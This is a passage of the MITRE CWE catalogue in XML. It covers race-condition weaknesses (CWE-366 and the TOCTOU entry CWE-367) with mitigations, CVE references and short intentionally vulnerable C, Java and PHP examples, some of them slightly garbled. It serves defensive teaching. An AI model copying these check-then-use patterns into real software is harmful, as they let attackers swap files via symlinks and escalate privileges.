         <Extended_Description>It is likely that this entry was initially created based on a misinterpretation of the original source material. The original source intended to explain how switches could be unpredictable when using threads, if the control expressions used data or variables that could change between execution of different threads. That weakness is already covered by CWE-367. Despite the ambiguity in the documentation for some languages and compilers, in practice, they all evaluate the switch control expression only once. If future languages state that the code explicitly evaluates the control expression more than once, then this would not be a weakness, but the language performing as designed.</Extended_Description>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Description, Other_Notes, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
	    <Modification>
	      <Modification_Name>CWE Content Team</Modification_Name>
	      <Modification_Organization>MITRE</Modification_Organization>
	      <Modification_Date>2019-01-03</Modification_Date>
	      <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
	    </Modification>
	    <Modification>
	      <Modification_Name>CWE Content Team</Modification_Name>
	      <Modification_Organization>MITRE</Modification_Organization>
	      <Modification_Date>2020-02-24</Modification_Date>
	      <Modification_Comment>updated Description, References, Relationships</Modification_Comment>
	    </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Likelihood_of_Exploit, Name, Potential_Mitigations, References, Relationships, Taxonomy_Mappings, Time_of_Introduction, Type</Modification_Comment>
				</Modification>
	    <Contribution Type="Feedback">
	      <Contribution_Name>Yongchool Ryu, MathWorks; Roberto Bagnara, BUGSENG; Guido Persch, Imagix; John Blattner, Imagix; Paul Anderson, GrammaTech; Fulvio Baccaglini; John Viega; Robert Seacord; Members of the CWE-Research mailing list, including Jonathan Hood and Steve Grubb; Commenters on Twitter, including Patricia Aas, Myria, Richard Barrell, and others</Contribution_Name>
	      <Contribution_Date>2022-03-31</Contribution_Date>
	      <Contribution_Comment>Many members of the CWE community contributed important feedback supporting deprecation of this entry. The contribution date reflects the first public request for comment; much feedback was received both before and after that date.</Contribution_Comment>
	    </Contribution>
			<Previous_Entry_Name Date="2022-04-28">Race Condition in Switch</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="366" Name="Race Condition within a Thread" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>If two threads of execution use a resource simultaneously, there exists the possibility that resources may be used while invalid, in turn making the state of execution undefined.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="362" View_ID="1000" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="662" View_ID="1305" Ordinal="Primary"/>
			 <Related_Weakness Nature="ChildOf" CWE_ID="662" View_ID="1340" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Undetermined"/>
            <Language Name="C++" Prevalence="Undetermined"/>
            <Language Name="Java" Prevalence="Undetermined"/>
            <Language Name="C#" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Other</Scope>
               <Impact>Alter Execution Logic</Impact>
               <Impact>Unexpected State</Impact>
               <Note>The main problem is that -- if a lock is overcome -- data could be altered in a bad state.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Use locking functionality. This is the recommended solution. Implement some form of locking mechanism around code which alters or reads persistent data in a multithreaded environment.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Create resource-locking validation checks. If no inherent locking mechanisms exist, use flags and signals to enforce your own blocking scheme when resources are being used by other threads of execution.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following example demonstrates the weakness.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>int foo = 0;<xhtml:br/>int storenum(int num) {<xhtml:div style="margin-left:1em;">static int counter = 0;<xhtml:br/>counter++;<xhtml:br/>if (num &gt; foo) foo = num;<xhtml:br/>return foo;</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public classRace {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>static int foo = 0;<xhtml:br/>public static void main() {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>new Threader().start();<xhtml:br/>foo = 1;</xhtml:div>
                           </xhtml:div>}<xhtml:br/>public static class Threader extends Thread {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>public void run() {<xhtml:div style="margin-left:1em;">System.out.println(foo);</xhtml:div>}</xhtml:div>
                           </xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Affected_Resources>
            <Affected_Resource>System Process</Affected_Resource>
         </Affected_Resources>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Race condition within a thread</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>CON32-C</Entry_ID>
               <Entry_Name>Prevent data races when accessing bit-fields from multiple threads</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>CON40-C</Entry_ID>
               <Entry_Name>Do not refer to an atomic variable twice in an expression</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>CON43-C</Entry_ID>
               <Entry_Name>Do not allow data races in multithreaded code</Entry_Name>
               <Mapping_Fit>Exact</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>VNA02-J</Entry_ID>
               <Entry_Name>Ensure that compound operations on shared variables are atomic</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>VNA03-J</Entry_ID>
               <Entry_Name>Do not assume that a group of calls to independently atomic methods is atomic</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP19</Entry_ID>
               <Entry_Name>Missing Lock</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="26"/>
            <Related_Attack_Pattern CAPEC_ID="29"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-18"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 13: Race Conditions.&#34; Page 205"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 13, &#34;Race Conditions&#34;, Page 759"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="367" Name="Time-of-check Time-of-use (TOCTOU) Race Condition" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check. This can cause the product to perform invalid actions when the resource is in an unexpected state.</Description>
         <Extended_Description>This weakness can be security-relevant when an attacker can influence the state of the resource between check and use. This can happen with shared resources such as files, memory, or even variables in multithreaded programs.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="362" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="362" View_ID="1003" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>TOCTTOU</Term>
               <Description>The TOCTTOU acronym expands to "Time Of Check To Time Of Use".</Description>
            </Alternate_Term>
            <Alternate_Term>
               <Term>TOCCTOU</Term>
               <Description>The TOCCTOU acronym is most likely a typo of TOCTTOU, but it has been used in some influential documents, so the typo is repeated fairly frequently.</Description>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Other</Scope>
               <Impact>Alter Execution Logic</Impact>
               <Impact>Unexpected State</Impact>
               <Note>The attacker can gain access to otherwise unauthorized resources.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Other</Scope>
               <Impact>Modify Application Data</Impact>
               <Impact>Modify Files or Directories</Impact>
               <Impact>Modify Memory</Impact>
               <Impact>Other</Impact>
               <Note>Race conditions such as this kind may be employed to gain read or write access to resources which are not normally readable or writable by the user in question.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Other</Scope>
               <Impact>Other</Impact>
               <Note>The resource in question, or other resources (through the corrupted one), may be changed in undesirable ways by a malicious user.</Note>
            </Consequence>
            <Consequence>
               <Scope>Non-Repudiation</Scope>
               <Impact>Hide Activities</Impact>
               <Note>If a file or other resource is written in this method, as opposed to in a valid way, logging of the activity may not occur.</Note>
            </Consequence>
            <Consequence>
               <Scope>Non-Repudiation</Scope>
               <Scope>Other</Scope>
               <Impact>Other</Impact>
               <Note>In some cases it may be possible to delete files a malicious user might not otherwise have access to, such as log files.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>The most basic advice for TOCTOU vulnerabilities is to not perform a check before the use. This does not resolve the underlying issue of the execution of a function on a resource whose state and identity cannot be assured, but it does help to limit the false sense of security given by the check.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>When the file being altered is owned by the current user and group, set the effective gid and uid to that of the current user and group when executing this statement.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Limit the interleaving of operations on files from multiple processes.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Phase>Architecture and Design</Phase>
               <Description>If you cannot perform operations atomically and you must share access to the resource between multiple processes or threads, then try to limit the amount of time (CPU cycles) between the check and use of the resource. This will not fix the problem, but it could make it more difficult for an attack to succeed.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Recheck the resource after the use call to verify that the action was taken appropriately.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Ensure that some environmental locking mechanism can be used to protect resources effectively.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Ensure that locking occurs before the check, as opposed to afterwards, such that the resource, as checked, is the same as it is when in use.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following code checks a file, then updates its contents.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>struct stat *sb;<xhtml:br/>...<xhtml:br/>lstat("...",sb); // it has not been updated since the last time it was read<xhtml:br/>printf("stated file\n");<xhtml:br/>if (sb-&gt;st_mtimespec==...){<xhtml:div style="margin-left:1em;">print("Now updating things\n");<xhtml:br/>updateThings();</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>Potentially the file could have been updated between the time of the check and the lstat, especially since the printf has latency.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>The following code is from a program installed setuid root. The program performs certain file operations on behalf of non-privileged users, and uses access checks to ensure that it does not use its root privileges to perform operations that should otherwise be unavailable the current user. The program uses the access() system call to check if the person running the program has permission to access the specified file before it opens the file and performs the necessary operations.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>if(!access(file,W_OK)) {<xhtml:div style="margin-left:1em;">f = fopen(file,"w+");<xhtml:br/>operate(f);<xhtml:br/>...</xhtml:div>}<xhtml:br/>else {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>fprintf(stderr,"Unable to open file %s.\n",file);</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The call to access() behaves as expected, and returns 0 if the user running the program has the necessary permissions to write to the file, and -1 otherwise. However, because both access() and fopen() operate on filenames rather than on file handles, there is no guarantee that the file variable still refers to the same file on disk when it is passed to fopen() that it did when it was passed to access(). If an attacker replaces file after the call to access() with a symbolic link to a different file, the program will use its root privileges to operate on the file even if it is a file that the attacker would otherwise be unable to modify. By tricking the program into performing an operation that would otherwise be impermissible, the attacker has gained elevated privileges. This type of vulnerability is not limited to programs with root privileges. If the application is capable of performing any operation that the attacker would not otherwise be allowed perform, then it is a possible target.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-49">
               <Intro_Text>This code prints the contents of a file if a user has permission.</Intro_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>function readFile($filename){<xhtml:div style="margin-left:1em;">
                        <xhtml:div>$user = getCurrentUser();<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>//resolve file if its a symbolic link</xhtml:i>
                           <xhtml:br/>if(is_link($filename)){<xhtml:div style="margin-left:1em;">$filename = readlink($filename);</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>if(fileowner($filename) == $user){<xhtml:div style="margin-left:1em;">echo file_get_contents($realFile);<xhtml:br/>return;</xhtml:div>}<xhtml:br/>else{<xhtml:div style="margin-left:1em;">echo 'Access denied';<xhtml:br/>return false;</xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>This code attempts to resolve symbolic links before checking the file and printing its contents. However, an attacker may be able to change the file from a real file to a symbolic link between the calls to is_link() and file_get_contents(), allowing the reading of arbitrary files. Note that this code fails to log the attempted access (CWE-778).</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>This example is adapted from [REF-18]. Assume that this code block is invoked from multiple threads. The switch statement will execute different code depending on the time when MYFILE.txt was last changed.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>
		    #include &lt;sys/types.h&gt;<xhtml:br/>
		    #include &lt;sys/stat.h&gt;<xhtml:br/>
		    <xhtml:br/>
		    ...<xhtml:br/>
		    <xhtml:br/>
		      struct stat sb;<xhtml:br/>
		      stat("MYFILE.txt",&amp;sb);<xhtml:br/>
		      printf("file change time: %d\n",sb-&gt;st_ctime);<xhtml:br/>
		      switch(sb-&gt;st_ctime % 2){<xhtml:div style="margin-left:1em;">
		        case 0: printf("Option 1\n"); break;<xhtml:br/>
		        case 1: printf("Option 2\n"); break;<xhtml:br/>
		        default: printf("this should be unreachable?\n"); break;<xhtml:br/>
		      </xhtml:div>}<xhtml:br/>
                  </xhtml:div>
               </Example_Code>
               <Body_Text>If this code block were executed within multiple threads, and MYFILE.txt changed between the operation of one thread and another, then the switch could produce different, possibly unexpected results.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
	   <Observed_Example>
	     <Reference>CVE-2015-1743</Reference>
	     <Description>TOCTOU in sandbox process allows installation of untrusted browser add-ons by replacing a file after it has been verified, but before it is executed</Description>
	     <Link>https://www.cve.org/CVERecord?id=CVE-2015-1743</Link>
	   </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0813</Reference>
               <Description>A multi-threaded race condition allows remote attackers to cause a denial of service (crash or reboot) by causing two threads to process the same RPC request, which causes one thread to use memory after it has been freed.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0813</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0594</Reference>
               <Description>PHP flaw allows remote attackers to execute arbitrary code by aborting execution before the initialization of key data structures is complete.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0594</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-2958</Reference>
               <Description>chain: time-of-check time-of-use (TOCTOU) race condition in program allows bypass of protection mechanism that was designed to prevent symlink attacks.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-2958</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-1570</Reference>
               <Description>chain: time-of-check time-of-use (TOCTOU) race condition in program allows bypass of protection mechanism that was designed to prevent symlink attacks.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-1570</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Time-of-check Time-of-use race condition</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>File Access Race Conditions: TOCTOU</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Time of check, time of use race condition</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Race condition in switch</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>FIO01-C</Entry_ID>
               <Entry_Name>Be careful using functions that use file names for identification</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP20</Entry_ID>
               <Entry_Name>Race Condition Window</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="27"/>
            <Related_Attack_Pattern CAPEC_ID="29"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-18" Section="5.4.6 Race condition in switch"/>
            <Reference External_Reference_ID="REF-367"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 13: Race Conditions.&#34; Page 205"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 9, &#34;TOCTOU&#34;, Page 527"/>
         </References>
         <Notes>
            <Note Type="Relationship">TOCTOU issues do not always involve symlinks, and not every symlink issue is a TOCTOU problem.</Note>
            <Note Type="Research Gap">Non-symlink TOCTOU issues are not reported frequently, but they are likely to occur in code that attempts to be secure.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>KDM Analytics</Modification_Organization>
               <Modification_Date>2008-08-01</Modification_Date>
               <Modification_Comment>added/updated white box definitions</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description, Name, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Observed_Examples, Other_Notes, References, Relationship_Notes, Relationships, Research_Gaps</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>KDM Analytics</Modification_Name>
               <Modification_Date>2009-07-17</Modification_Date>
               <Modification_Comment>Improved the White_Box_Definition</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated White_Box_Definitions</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Description, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
